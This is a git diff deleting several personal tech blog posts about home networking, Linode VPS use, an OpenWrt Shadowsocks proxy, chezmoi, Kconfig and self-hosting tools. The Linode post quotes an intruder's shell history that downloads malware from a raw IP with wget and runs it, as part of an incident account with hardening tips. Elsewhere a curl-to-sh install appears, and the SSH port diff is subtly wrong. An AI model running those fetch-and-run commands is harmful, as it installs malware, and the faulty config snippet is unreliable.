network. If the IP address you get after dialing isn't a public IP, you can ask the ISP to change it; different ISPs may have different policies. - -Besides the port connected to the gateway, the modem has another port for IPTV, used to watch the live TV and on-demand content provided by China Telecom. Today's smart TVs can usually install apps for on-demand video, so IPTV has become rather pointless. - -## Gateway - -The gateway, also called the router, routes packets for the internal network and provides network services such as DHCP and DNS. It also acts as a firewall to protect devices on the internal network. - -For the gateway I chose the [Linksys WRT1900ACS](https://www.linksys.com/wrt1900acs-dual-band-wi-fi-router-with-ultra-fast-1.6-ghz-cpu/WRT1900ACS.html). -![1687691790396.png](https://img.weenas.com/FYn4Vq.png) - -I picked Linksys mainly for its good support of the open-source OpenWrt firmware. Its dual-core 1.6 GHz CPU, 128 MB NAND and 512 MB RAM also give decent performance and room to grow. The router supports 802.11ac, but since it has to live in the wiring cabinet — and a single wireless router can't cover every corner of the home anyway — I disabled its wireless after flashing OpenWrt and use it for wired networking only. - -OpenWrt is fairly easy to configure, so I won't go into detail here. Later posts will cover building network services on OpenWrt, such as a transparent proxy. - -## Switch - -A router usually provides only one WAN port and four LAN ports, which isn't enough when there are many wired devices, so a gigabit switch is needed. As the topology diagram above shows, even without drawing every device, an 8-port switch wasn't enough. Based on the Ethernet cables pre-installed during renovation, I chose a 16-port managed switch. - -For the switch I chose the [Netgear GS116E](https://www.netgear.com/cn/business/wired/switches/plus/gs116ev2/). -![1687699248048.jpg](https://img.weenas.com/UAsPCj.jpg) - -It's a 16-port gigabit switch with VLAN and link aggregation support and an all-metal case that feels solid. Its only drawback is the lack of PoE, which rules out PoE wireless APs and PoE cameras — something to upgrade in the future. - -With the switch in place, all the wired devices can be connected at once. Next comes the question of how to provide wireless. - -## Wi-Fi -There are no fewer wireless devices at home than wired ones: phones, tablets, laptops, IoT devices and more. In a home of around 100 square meters, a single wireless router just can't provide good coverage. Although every manufacturer claims its router has wide coverage and strong wall penetration, signal strength drops sharply a little farther away or behind a wall, and devices then negotiate a lower data rate. With a weak signal, packet loss also rises significantly, and retransmissions add even more load to the router. - -So adding more access points is the better approach. There are currently two mainstream ways to build a multi-AP network: -- AC + AP -- Wi-Fi Mesh - -A good AC + AP setup usually has a dedicated access controller (AC) that handles wireless authentication and coordinates the APs. Compared with Wi-Fi Mesh it's the more professional option, typically used in businesses and large public venues. For a home it's expensive, and my wiring cabinet has no room for extra equipment, so I chose the option that's more convenient for ordinary users. - -For Wi-Fi APs I use the [Linksys Velop AC3900](https://www.linksys.com/ca/dual-band-intelligent-mesh-wifi-5-system-3-pack/WHW0103-CA.html). -![1687700043972.jpg](https://img.weenas.com/5O29t1.jpg) - -The Velop AC3900 consists of three identical AC1300 units. One acts as the primary node and the other two act as secondary nodes, automatically forming a Wi-Fi mesh network. Devices can roam between the three APs, and both wireless and wired backhaul are supported: with wireless backhaul only the primary node needs an Ethernet cable, and the secondary nodes exchange data with it over a dedicated wireless channel. I ran Ethernet to every room during renovation, so I use wired backhaul — every AP is cabled, which gives more reliable network quality. -The AC1300's maximum bandwidth is 867 Mbps (5 GHz) + 400 Mbps (2.4 GHz); on the 5 GHz band its theoretical speed approaches the maximum of a gigabit network. So in a gigabit environment this setup is the more cost-effective choice. Of course, multiple devices on the same AP share its bandwidth, so upgrading to Wi-Fi 6 would be better. In that case you could choose the Linksys AX5400, which can join the same mesh as the AC1300 units as needed. diff --git a/src/content/posts/net/linode_migration.en.md b/src/content/posts/net/linode_migration.en.md deleted file mode 100644 index 648d823..0000000 --- a/src/content/posts/net/linode_migration.en.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Migrating a Linode -image: https://img.weenas.com/sUN8UI.jpg -date: 2017-01-08 -description: Migrating a Linode host from the California data center to Japan — the process, what to watch out for, and a clear speed boost for users in China. -tags: - - network - - linode - - vps -keywords: - - VPS - - Linode - - migration -hide: true -pubDatetime: 2017-01-08 ---- - -Linode's stability has always been praised by users. When I first created my host I hadn't done enough homework and picked the California data center as the location. Only later did I learn that for users in China, the Japan data center responds faster, so I even created a separate host in Japan to test it. The results showed Japan winning hands down with 80 ms of latency versus California's 220 ms, with no noticeable difference in upload or download speed. With such a big advantage, there was no reason not to switch. - - - -## The Migration Process - -Migration is very simple and has no effect on the data on the host — Linode moves all the disk images you created to the new location. Two things to note: - -1. The host must be shut down before migrating. The time it takes depends on disk size. Linode quotes 10–15 minutes per GB, but in practice it was faster: my 24 GB of data took only about an hour. - -2. The IP address changes after migration, so update your DNS records with your domain provider right away. - -Perhaps to discourage frequent migrations, Linode doesn't offer migration in the management console. To migrate, you have to open a ticket and have support do it on the backend. As I mentioned in the previous post, Linode's support is very friendly and professional, and requests usually get answered quickly. When I migrated, the Japan data center happened to be out of capacity, so support added me to a waitlist and promised to notify me as soon as new hardware was ready. About four days later I got this email from support: -![linode_migration.jpg](https://img.weenas.com/6UiDmI.jpg) - -If you receive an email like the one above, the migration is ready. Just follow the steps in the email — shut down, migrate, boot up — and you're done. Log in with the new IP address and everything is exactly as before; the only difference is speed, with a clear improvement in both SSH and web response times. diff --git a/src/content/posts/net/linode_usage.en.md b/src/content/posts/net/linode_usage.en.md deleted file mode 100644 index d2f0e79..0000000 --- a/src/content/posts/net/linode_usage.en.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: My Linode Experience -image: https://img.weenas.com/sUN8UI.jpg -date: 2016-12-21 14:48:15 -tags: - - network - - linode - - vps -description: A first taste of running a VPS -keywords: - - VPS - - linode -hide: true -pubDatetime: 2016-12-21 ---- - -I've been using Linode for a while now and it feels great. Although my host is in the California data center, latency is steady at around 200 ms — barely noticeable when browsing the web, and acceptable over SSH. Reportedly the Japan data center is a little over 100 ms, but since switching would mean a migration, I'll leave it as is for now and look into it when I have time. - -## I Got Hacked - -I had only ever set up servers on a LAN or in virtual machines and never paid attention to security configuration, so my VPS was poorly secured. Last month it was hit by a DoS attack, which made me realize how important security is. I never had much of a sense of it before — it turns out network attacks are much closer to us than I thought. - -The symptom was a flood of outgoing data. As the chart below shows, it was sending at almost full capacity for three days (note the units on the left), and my 2 TB of transfer was used up in less than two days. The system actually sends an email alert at 80% usage, but it was the National Day holiday and I didn't take the email seriously. Later Linode support noticed the anomaly and proactively opened a ticket asking what was going on — only then did I discover I was more than 400 GB over my quota... - -![linode_data_traffic.jpg](https://img.weenas.com/MYs6OE.jpg) - -I quickly logged in and used nethogs to check network usage. A process named mysql515 was sending data out at about 80 Mbps. I killed it immediately and then figured out how to clean up. - -To find out how the attack happened, you need to know who has logged in to the server. `/var/log/auth.log` is an important clue — it records every user's login attempts. Opening it was quite a sight: tens of thousands of lines, a large portion of them failed login attempts for root and admin, presumably a script continuously trying root passwords. With so many entries it was hard to pin down when and by whom the server was breached, but I guessed the root password had been cracked, since mine was a common word. Checking `/root/.bash_history` made everything clear: - -```log -service crond start -/etc/rc.d/init.d/crond start -killall -9 cnet2 -cd /bin -rm -rf cnet2 -wget -c http://61.160.194.120:120/cnet2 -chmod 0755 /bin/cnet2 -./cnet2 -cd /etc -mkdir init.d -mkdir rc.d -cd /etc/rc.d -mkdir rc5.d -cd /bin -rm -rf mysql515 cnet2 socket -wget -c http://61.160.194.120:121/mysql515 -chmod 0777 /bin/mysql515 -./mysql515 -service crond start -/etc/rc.d/init.d/crond start -``` - -Following the trail, I tracked down every related file based on the commands it ran and deleted them all. Note that it started the cron service and added a scheduled startup script to `/etc/crontab` — that has to be removed too, or the malware will come back. - -## How to Protect Your Server - -The above only finds and removes the malicious files. How do you prevent future attacks? Here's what I did: - -1. Obviously, change the root password. Use uppercase, lowercase, digits and symbols — everything you can — just don't forget it. :) -2. Disable root login over SSH: - -```diff -/etc/ssh/sshd_config -- PermitRootLogin yes -+ PermitRootLogin no -``` - -3. Change the default SSH port to anything below 65535, for example `622`. Of course, logging in then needs an extra port argument: `ssh -p 622 user@server.com`. Also remember to update the server's firewall rules. - -```diff -/etc/ssh/sshd_config -- Port 22 -- Port 622 -``` - -4. Switch to SSH key authentication: generate a key pair with `ssh-keygen`, put the public key on the server and log in with the private key. This lets you disable password login entirely. - -After these changes, `/var/log/auth.log` went quiet at once. Of course, these steps aren't enough to make a VPS truly secure, but they're enough to fend off ordinary attacks. - -A shout-out to Linode support here: their service is thoughtful and professional. They opened the ticket themselves, checked in on it every day to ask about progress and whether I needed help, and whenever I needed help they replied within 10 minutes. For $10 a month I think it's worth it — I wonder when companies in China will reach this level. - -I forgot to mention the overage charges: only when the credit card statement arrived did I learn I'd been charged an extra $47 that month. At $0.10 per GB, that means I went 470 GB over. Not cheap — though with normal usage I don't think you'd ever exceed the quota, so please make sure your server is well protected. Luckily the attack happened at the end of the month and part of the traffic counted toward October; otherwise the extra charge could have doubled. - -Finally, I hope everyone ends up with a VPS they're happy with! diff --git a/src/content/posts/net/openwrt_transparent_proxy.en.md b/src/content/posts/net/openwrt_transparent_proxy.en.md deleted file mode 100644 index ac25a32..0000000 --- a/src/content/posts/net/openwrt_transparent_proxy.en.md +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Transparent Proxy on OpenWrt -image: https://img.weenas.com/gtB7gP.png -date: 2023-08-14T15:13:18+08:00 -description: A new approach to proxying for the home network -keywords: - - proxy - - openwrt - - shadowsocks -tags: - - network - - openwrt -pubDatetime: 2023-08-14 ---- -## Introduction - -A proxy forwards data on behalf of clients. It's commonly used inside companies — for example, a proxy server through which employees access the internet. Traffic passing through the proxy can be inspected for its destination address to decide whether access is allowed. To use a proxy, you configure the proxy type, server address and port in the operating system. Nowadays gateways can provide similar functions, so standalone proxy servers have become far less visible. - -Following the same idea, we can set up a proxy server on the LAN, establish a Shadowsocks tunnel on it, and let LAN users get past the firewall once they've configured the proxy. For a while I did exactly that, and Chrome even has extensions to choose which websites go through the proxy. But this approach has some problems: -- Every new computer needs the proxy configured again, and if all traffic goes through the proxy, domestic websites become slow -- If traffic is routed automatically based on site lists, those lists are scattered across machines instead of configured centrally -- Using and configuring it on mobile devices is inconvenient - -This is where a transparent proxy comes in. It's invisible to users: as long as they're connected to the LAN or Wi-Fi, it just works, and users never notice the proxy exists — hence the name "transparent proxy". The router or gateway defines a set of rules (usually a pool of IP addresses); traffic matching the rules automatically goes out through the proxy, and everything else goes out through the gateway as usual. - -## Installing Packages -```sh -opkg install iptables-nft iptables-mod-nat-extra curl ipset bind-dig shadowsocks-libev -``` -## Configuring shadowsocks-libev - -OpenWrt's shadowsocks-libev includes four components: -- ss-local creates a Shadowsocks client on OpenWrt and opens a port to serve as a local proxy -- ss-redir creates a traffic-forwarding path inside OpenWrt -- ss-tunnel creates an encrypted channel for DNS queries -- ss-server runs a Shadowsocks server on OpenWrt -Neither ss-local nor ss-server is used for a transparent proxy, so only ss-redir and ss-tunnel are covered here. - -### ss-tunnel -First, use ss-tunnel to set up an encrypted DNS channel, as in the configuration below. It creates a local DNS service listening on port 530; each DNS request it receives is encrypted and forwarded through the Shadowsocks tunnel to `8.8.8.8:53`. -```json -# /var/etc/shadowsocks-libev/ss_tunnel.cfg0249c0.json -{ - "server": "156.141.119.237", - "server_port": 8080, - "method": "chacha20-ietf-poly1305", - "password": "password", - "tunnel_address": "8.8.8.8:53", - "use_syslog": true, - "ipv6_first": false, - "fast_open": true, - "reuse_port": true, - "no_delay": true, - "local_address": "0.0.0.0", - "local_port": 530, - "mode": "tcp_and_udp", - "timeout": 60 -} -``` -Once ss-tunnel is running, you can verify it with the `dig` command: -``` -dig @127.0.0.1 -p 530 www.google.com - -; <<>> DiG 9.18.11 <<>> @127.0.0.1 www.google.com -; (1 server found) -;; global options: +cmd -;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43676 -;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 - -;; OPT PSEUDOSECTION: -; EDNS: version: 0, flags:; udp: 512 -;; QUESTION SECTION: -;www.google.com. IN A - -;; ANSWER SECTION: -www.google.com. 300 IN A 142.250.199.68 - -;; Query time: 60 msec -;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP) -;; WHEN: Thu Jun 01 10:40:39 UTC 2023 -;; MSG SIZE rcvd: 59 -``` -If the query succeeds, this step is done. -### ss_redir -ss_redir creates an encrypted channel for forwarding traffic. The configuration below listens on port `1090`, forwards the data it receives to Shadowsocks, and receives the responses. -```json -# /var/etc/shadowsocks-libev/ss_redir.hi.json -{ - "server": "156.141.119.237", - "server_port": 8080, - "method": "chacha20-ietf-poly1305", - "password": "password", - "use_syslog": true, - "ipv6_first": false, - "fast_open": true, - "reuse_port": true, - "no_delay": true, - "local_address": "0.0.0.0", - "local_port": 1090, - "mode": "tcp_and_udp", - "timeout": 60 -} -``` -Once this service is up, we need iptables to verify that it works, so let's configure iptables first. - -## iptables -iptables defines how the system handles each IP packet based on its address or port, so a wrong configuration can break networking. First, two important commands for backing up and restoring the iptables rules, to avoid serious problems from configuration mistakes: -```sh -iptables-save > iptables.rules -iptables-restore < iptables.rules -``` -You can use iptables-save at different stages to save different rule sets — just use different file names. Likewise, when restoring, be clear about which stage you're restoring to. - -Before creating any rules, let's use curl to test whether we can fetch `http://www.google.com`. Since the IP address behind a domain changes easily, we use the address from the dig query above: `142.250.199.68` -```sh -curl http://142.250.199.68 -``` -Normally this command gets no response at all, because the IP is blocked. -But with a simple configuration, it's time to witness a miracle. -We use iptables to redirect traffic to this IP address to port 1090, created by ss_redir above: -```sh -iptables -t nat -A OUTPUT -d 142.250.199.68 -p tcp --dport 80 -j REDIRECT --to-port 1090 -``` -Now test again with curl: -```sh -curl http://142.250.199.68 - -301 Moved -

301 Moved

-The document has moved -here. - -``` -See that? We get a response from Google's server, which means the path works. Next comes optimization. - -## ipset -iptables is fine for rules covering a few IP addresses, but it becomes unwieldy with a large number of them. In that case you can use ipset instead: ipset defines a set of IP addresses, and iptables rules then refer to the set by name. -Before configuring, restore iptables to its initial state with iptables-restore: -```sh -iptables-restore < iptables.rules -``` -### Defining a New ipset -Define an ipset named SHADOWSOCKS and add the IP address above to it: -```sh -ipset -N SHADOWSOCKS hash:ip -ipset add SHADOWSOCKS 142.250.199.68 -``` -### Adding the ipset to iptables -Here, OUTPUT applies to local packets, i.e. whether packets generated by the router itself go through the rule, while PREROUTING applies to routed packets. Choose as needed. -```sh -iptables -t nat -A OUTPUT -p tcp -m set --match-set SHADOWSOCKS dst -j REDIRECT --to-port 1090 -iptables -t nat -A OUTPUT -p udp -m set --match-set SHADOWSOCKS dst -j REDIRECT --to-port 1090 -iptables -t nat -A PREROUTING -p tcp -m set --match-set SHADOWSOCKS dst -j REDIRECT --to-port 1090 -iptables -t nat -A PREROUTING -p udp -m set --match-set SHADOWSOCKS dst -j REDIRECT --to-port 1090 -``` -To add a new IP address later, just run `ipset add SHADOWSOCKS ip_addr`. - -### Improving the ipset -ipset makes it easy to manage many IP addresses, but adding and maintaining them by hand is clearly impractical. Fortunately a tool can do it for us: dnsmasq. -The dnsmasq bundled with OpenWrt is a stripped-down build, so first install the full version: -```sh -opkg remove dnsmasq -opkg install dnsmasq-full -``` -The full dnsmasq supports ipset and can automatically add the resolved IP addresses of configured domains to the corresponding ipset. dnsmasq's configuration is generated by the system from `/etc/config/dhcp`. The default `conf-dir` is `/tmp/dnsmasq.d`, a temporary directory that is cleared on reboot, so point it to a directory under `/etc`: -``` -config dnsmasq - ... - option confdir '/etc/dnsmasq.d' -``` -Create the directory `/etc/dnsmasq.d` as configured above, and inside it create a file `SHADOWSOCKS.conf` in this format: -``` -server=/google.com/127.0.0.1#530 -ipset=/google.com/SHADOWSOCKS -``` -This tells dnsmasq to forward DNS queries for `google.com` to `127.0.0.1:530` and add the results for `google.com` to the SHADOWSOCKS ipset. That way, no matter how the domain's IP addresses change, traffic to the correct addresses is always sent through Shadowsocks. We just add every domain that should be proxied to this file, and both the DNS queries and the traffic for those domains go through the Shadowsocks tunnel. - -Adding domains to this file is yet another headache, but some kind folks have built a tool that generates it automatically — and if you don't even want to run that, they also provide ready-made config files. Take whatever you need: -``` -https://github.com/cokebar/gfwlist2dnsmasq -``` diff --git a/src/content/posts/tools/Import-external-lib-to-cmake.en.md b/src/content/posts/tools/Import-external-lib-to-cmake.en.md deleted file mode 100644 index 9230fe9..0000000 --- a/src/content/posts/tools/Import-external-lib-to-cmake.en.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Importing External Libraries in CMake -image: https://img.weenas.com/optimized/blog-cover-cmake-library-20261103.webp -tags: - - cmake - - tools -description: How to import external static library in CMake. -keywords: - - cmake - - add_library -hide: false -pubDatetime: 2021-03-12 ---- - -Projects sometimes need third-party libraries. With CMake, importing them into a project is very easy. - -## Example - -Suppose we have an external static library `libexternal.a` and want to use its APIs. We can create a new library `newlib` with the following code: - -```c -set(lib_path ${CMAKE_CURRENT_SOURCE_DIR}/libexternal.a) -set(lib newlib) - -add_library(${lib} STATIC IMPORTED GLOBAL) -set_property(TARGET ${lib} PROPERTY - IMPORTED_LOCATION "${lib_path}") - -target_include_directories(${lib} INTERFACE .) - -target_link_libraries(${TARGET_NAME} ${lib}) -``` - -## Explanation - -`add_library` creates a new library. Use the `STATIC` argument for a static library and `SHARED` for a shared library. - -`IMPORTED` means the library is used to import an external library, and `GLOBAL` means the new library can be used globally. - -`set_property` specifies the path to the external library. - -`target_include_directories` specifies the header search path of the new library, so that other modules depending on it can find its headers. - -`target_link_libraries` links the library into the target. diff --git a/src/content/posts/tools/chezmoi_usage.en.md b/src/content/posts/tools/chezmoi_usage.en.md deleted file mode 100644 index cecea1a..0000000 --- a/src/content/posts/tools/chezmoi_usage.en.md +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Getting Started with Chezmoi -image: https://img.weenas.com/optimized/blog-cover-chezmoi-20261103.webp -date: 2026-09-17 -tags: - - chezmoi - - tools - - dotfile -description: A handy dotfile manager -keywords: -pubDatetime: 2026-09-17 ---- -## Preface - -As passwordless SSH login has become common, we have more and more private and public keys to manage. Add to that the frequent switching between work computers and servers, and syncing these key files becomes a problem. To keep things simple, I used to commit my key files to a Git repository so they were easy to sync between machines — but that approach carries a big security risk. Even a private repository isn't safe: accounts on cloud Git hosts (such as GitHub or GitLab) can be compromised through credential stuffing, or a leaked token can expose private repositories. Once a private key leaks, an attacker can log in to all your servers directly. Even if you later delete the key from Git, it still lingers in the `.git` history and can be recovered at any time. - -By chance I came across an open-source project called `Chezmoi`. It is also Git-based, but it can encrypt sensitive content such as keys before storing it, preventing all kinds of leaks. -## Why Chezmoi - -chezmoi is currently the most elegant and secure cross-platform dotfiles manager. Its core idea: it maintains a hidden source directory locally (`~/.local/share/chezmoi`) under Git version control, and after encryption and template rendering it "applies" the final files to your actual home directory (`~`). - -- Git-based, so data is easy to sync across machines -- Sensitive content can be stored encrypted -- Can pull secrets from password managers such as Bitwarden or 1Password and write them locally -- Config files can be customized per operating system -## Basic Usage - -### Installation -- macOS: -`brew install chezmoi` -- Linux: -```bash -sh -c "$(curl -fsLS https://get.chezmoi.io)" -``` - -### Initialization - -```bash -chezmoi init -``` -A single command creates a Git repository in `.local/share/chezmoi/`. If you're familiar with Git, everything after this is very simple. - -### Adding Files - -1. Add the files you need to the chezmoi repository -```bash -chezmoi add ~/.bashrc -``` -With this command, chezmoi copies `.bashrc` into `.local/share/chezmoi/` and renames it to `dot_bashrc`. - -### Committing -Now you can push the changes to a remote repository with Git: - -```bash -chezmoi cd # enter the source directory .local/share/chezmoi/ -git remote add origin git@github.com:yourname/chezmoi.git -git add . -git commit -m "update dotfiles" -git push -u origin main -``` - -### Editing Files - -There are two ways to edit files. - -Option one: -- Edit `~/.bashrc` directly -- Then run `chezmoi add ~/.bashrc` to sync the change into the Git repository -- Commit with Git -Option two: -- Use `chezmoi edit ~/.bashrc` to edit `dot_bashrc` in the Git repository -- Check the change with `chezmoi diff`; if it's not right, keep editing with `chezmoi edit` -- Once it looks right, run `chezmoi apply -v` to apply the change to the real `~/.bashrc` -- Commit with Git - -Either way, keep in mind that the Git repository holds a mirror of each real file, and know how a change to one gets synced to the other. - -### Syncing from Another Device - -If a chezmoi repository already exists and you want the same configuration on a new device, just add the repository URL to the `init` command. This one command downloads the repository and copies its files to their real paths: - -```bash -chezmoi init --apply git@github.com:yourname/chezmoi.git -``` - -### Updating - -When you've changed config files on one device and pushed them to the repository, other devices need just one command to sync the repository and update the real files: - -```bash -chezmoi update -``` - -## Managing Sensitive Files - -The approach above only manages ordinary files in plain text. Uploading sensitive content such as private keys directly to a Git repository would leak it and could compromise everything that key protects. chezmoi natively supports symmetric or asymmetric encryption of sensitive files: the encrypted content is pushed to the repository, and other devices decrypt it after syncing. Of course, this encryption has a key of its own, which must be kept separately — like using one locked drawer to hold all your other keys, improving both security and convenience. - -### Generating a Key - -Before encrypting SSH private keys, prepare a key for chezmoi. age asymmetric encryption is the usual choice: - -```bash -age-keygen -o ~/.config/chezmoi/key.txt -``` -This command generates a public/private key pair. - -### Configuring the Key - -The key takes effect only after you add it to chezmoi's configuration, using `chezmoi edit-config`: - -```toml -encryption = "age" -[age] - identity = "~/.config/chezmoi/key.txt" - recipient = "public_key..." -``` - -### Encrypting Files - -Just like adding an ordinary file, add the `--encrypt` flag to indicate the file should be stored encrypted. chezmoi encrypts it automatically before storing it in the repository, and all later Git commands stay the same: -```bash -chezmoi add --encrypt ~/.ssh/id_rsa -``` -You can tell from the file name that it has been encrypted: -```bash -~/.local/share/chezmoi/dot_ssh/encrypted_private_id_rsa.age -``` - -### Decrypting Files - -If the chezmoi repository contains encrypted files, other devices also need the age key to decrypt them: -- Copy the private key `key.txt` to the device -- Configure the same TOML settings with `chezmoi edit-config` - -After these two steps, all later chezmoi encryption and decryption happens transparently and automatically — very convenient. diff --git a/src/content/posts/tools/kconfig_usage.en.md b/src/content/posts/tools/kconfig_usage.en.md deleted file mode 100644 index 707fd1a..0000000 --- a/src/content/posts/tools/kconfig_usage.en.md +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: An Introduction to Kconfig -image: https://img.weenas.com/8l3G1D.png -date: 2022-06-05 -tags: - - tools -description: Use Kconfig to make a software project configurable — the foundation for modular builds. -keywords: - - kconfig - - kconfiglib -pubDatetime: 2022-06-05 ---- - -## Introduction - -Kconfig comes from the Linux kernel. It's used to configure the options of a project so that modules (features) can be switched on and off just by editing a config file. In other words, the same source code combined with different config files can produce binaries with different features. - -## Kconfig Implementations - -Kconfig was originally only usable within the kernel, but thanks to its ease of use it's now widely adopted by large projects including NuttX, buildroot, crosstool-NG, uClibc, OpenWrt and Zephyr. There are currently two mainstream implementations: kconfig-frontends and Kconfiglib. - -### kconfig-frontends - -kconfig-frontends is the C implementation. It uses the kernel's Kconfig source code, maintained independently of the kernel. -Pros -- Best compatibility - -Cons -- Not cross-platform -- Only outputs `.config` by default - -### Kconfiglib - -Kconfiglib is a library written in Python that supports the entire Kconfig syntax. -Pros -- Cross-platform -- Can output both `.config` and `config.h` - -> `.config` and `config.h` contain exactly the same settings; they just use different formats for different consumers. -> `.config` passes the configuration to Makefile or CMake: CONFIG_XXX=100 -> `config.h` passes the configuration to the source code: #define CONFIG_XXX 100 - -## Common Syntax - -Official documentation: https://www.kernel.org/doc/html/latest/kbuild/kconfig-language.html - -### config - -`config` is the most basic Kconfig statement. Each `config` produces a `CONFIG_XXX` setting. - -```sh -config XXX - bool "Enable XXX" - default y - help - Enable XXX module. -``` - -`config` supports several types; the most common are `bool`, `string`, `int` and `hex`. - -### menu - -`menu` creates a submenu, and nesting several menus creates a multi-level menu. -`menu` doesn't produce a config setting; it only organizes the structure of the configs. - -```sh -menu "2nd Menu" -endmenu -``` - -> Note: `menu` and `endmenu` must be used in pairs. - -### menuconfig - -`menuconfig` combines `menu` and `config`: it creates a menu and also produces a config setting. -Unlike `menu`, you can only enter the submenu when this option is enabled. It's typically used for a module and the options inside it. - -```sh -menuconfig MENU_XXX - bool "MENU XXX" - default y - help - Menu XXX -``` - -### choice - -`choice` provides single selection, for when exactly one of several options may be chosen — for example choosing whether the platform is VDK, FPGA or SoC. Using `choice` prevents configuration mistakes. - -```sh -choice - bool "Choice Sample" - default CHOICE_C -config CHOICE_A - bool "Choice A" -config CHOICE_B - bool "Choice B" -config CHOICE_C - bool "Choice C" -endchoice -``` - -> Note: `choice` and `endchoice` must be used in pairs. - -### if, depends on, select - -These are Kconfig's conditional constructs, which let the configuration control dependencies between modules. - -```sh -config MODULE_A - bool "module a" -if MODULE_A -config MODULE_B - bool "module b" -endif -config MODULE_C - bool "module c" - depends on MODULE_A -config MODULE_D - bool "module d" - select MODULE_E -config MODULE_E - bool "module e" -``` - -### source - -`source` includes a lower-level Kconfig file, so during development Kconfig can be organized as a tree, with each module adding its own config options. No matter which Kconfig file a config lives in, all configs are globally visible, so `if`, `depends on` and `select` can reference configs from other modules. - -## Example - -### Kconfig File - -```sh -mainmenu "Sample Project" -config AUTHOR -    string "Author" -    default "Sample" -    help -        Author of this project. -config MAJOR_VER -    int "Major version" -    default 1 -    help -        Major version of this project. -config SUB_VER -    int "Sub version" -    default 12 -    help -        Sub version of this project. -menu "Config Samples" -config BOOL_XXX -    bool "Enable BOOL XXX" -    default y -    help -    Enable BOOL XXX. -config STRING_XXX -    string "STRING XXX" -    default "string_xxx" -    help -    Set string -config INT_XXX -    int "INT XXX" -    default 100 -    help -    Set int -config HEX_XXX -    hex "HEX XXX" -    default 0x100 -    help -    set hex -endmenu -menu "Menu Sample" -menu "2nd Menu" -menu "3rd Menu" -menu "4th Menu" -endmenu -endmenu -endmenu -endmenu -menu "Menuconfig Sample" -menuconfig MENU_XXX -    bool "MENU XXX" -    default y -    help -    Menu XXX -if MENU_XXX -config MENU_SUB1_XXX -    bool "MENU SUB1 XXX" -config MENU_SUB2_XXX -    bool "MENU SUB2 XXX" -    default y -endif -endmenu -choice -    bool "Choice Sample" -    default CHOICE_C -config CHOICE_A -    bool "Choice A" -config CHOICE_B -    bool "Choice B" -config CHOICE_C -    bool "Choice C" -endchoice -menu "Condition Sample" -config MODULE_A -    bool "module a" -if MODULE_A -config MODULE_B -    bool "module b" -endif -config MODULE_C -    bool "module c" -    depends on MODULE_A -config MODULE_D -    bool "module d" -    select MODULE_E -config MODULE_E -    bool "module e" -endmenu -``` - -### Running - -Download Kconfiglib: https://github.com/ulfalizer/Kconfiglib - -```sh -python Kconfiglib/menuconfig.py Kconfig -``` diff --git a/src/content/posts/tools/lsky_pro_usage.en.md b/src/content/posts/tools/lsky_pro_usage.en.md deleted file mode 100644 index b9bd510..0000000 --- a/src/content/posts/tools/lsky_pro_usage.en.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Building a Private Image Host with Lsky Pro -image: https://img.weenas.com/ngSPRO.png -date: 2023-06-04 -tags: - - Docker - - tools -description: Set up a private image host with Docker and Lsky Pro, and stop worrying about where to store your images. -keywords: - - docker - - lsky - - lsky-pro -pubDatetime: 2023-06-04 ---- - -![1685872464798.png](https://img.weenas.com/ngSPRO.png) - -Free image hosts are getting harder to find, and they come with lots of limits on image size, number of uploads and total storage. Could we build an image host on a Synology NAS or our own server and expose it through a home broadband connection? That way storage is practically unlimited, and upload bandwidth can reach 50 Mbps — faster than some paid image hosts. - -This post introduces a tool for creating a private image host on a home Synology NAS, accessible from the internet via DDNS and a custom port. The tool is called [Lsky Pro](https://www.lsky.pro/). Images can be stored locally, and mainstream third-party storage is supported too. - -## Installing Lsky Pro -You can install it on a server with Apache or Nginx, or with Docker. Docker is simpler, and with SQLite there's no separate database to configure and maintain; performance is fine for personal use or a small number of users. -Download and install it with: -``` -docker pull halcyonazure/lsky-pro-docker -``` -Once installed, start a Docker container: -``` -docker run -d --name lsky-pro \ - --restart unless-stopped \ - -p 8090:8090 \ - -v /volume2/docker/lsky:/var/www/html \ - -e WEB_PORT=8090 \ - halcyonazure/lsky-pro-docker:latest -``` -Now open port 8090 in a browser to reach the installer, choose SQLite, and enter the initial admin account and password. -![1685871445750.png](https://img.weenas.com/4vwYAj.png) -After installation it redirects to the home page. Log in with the admin account to adjust settings such as the maximum file size, upload limits and the domain name. -Add NAT port forwarding and a reverse proxy, and you can access it and upload images over the internet. -![1685872150099.png](https://img.weenas.com/YFWfGK.png) -After uploading, just like with a commercial image host, every image gets links in HTML, Markdown and other formats. Copy the link you need into your document to display the image. diff --git a/src/content/posts/tools/obsidian_livesync.en.md b/src/content/posts/tools/obsidian_livesync.en.md deleted file mode 100644 index 9ede8f9..0000000 --- a/src/content/posts/tools/obsidian_livesync.en.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Real-Time Obsidian Sync Across Devices -image: https://img.weenas.com/optimized/WLP8JP.webp -date: 2023-06-04 -tags: - - Docker - - tools -description: Real-time cross-platform Obsidian sync with CouchDB, supporting Windows, Linux, Android, iOS and macOS. -keywords: - - docker - - obsidian - - couchdb - - livesync -pubDatetime: 2023-06-04 ---- - -![Obsidian](https://img.weenas.com/optimized/WLP8JP.webp) -Obsidian is a powerful Markdown note-taking app with excellent cross-platform support. It offers an official sync service, but the price isn't very friendly, so here I'll introduce a free real-time sync solution. - - - -## Prerequisites -- A CouchDB instance -- The Obsidian community plugin Self-hosted LiveSync - -## Setting Up CouchDB -### What Is CouchDB - -> [Apache CouchDB](https://couchdb.apache.org/) is an open-source NoSQL document database that collects and stores data in JSON document format. Unlike relational databases, CouchDB uses a schema-free data model, which simplifies record management across computing devices, mobile phones and web browsers. -> -> CouchDB was launched in 2005 and became an [Apache Software Foundation](https://projects.apache.org/) project in 2008. As an open-source project, CouchDB is supported by an active community of developers who continuously improve the software with a focus on ease of use and the web. - -From the official description, it has a few characteristics: -- Open source -- NoSQL -- Data stored as JSON - -We don't need to dig into how CouchDB works; this post focuses on setting it up with Docker. - -### Installing CouchDB -CouchDB can be deployed on any supported platform or Docker host. 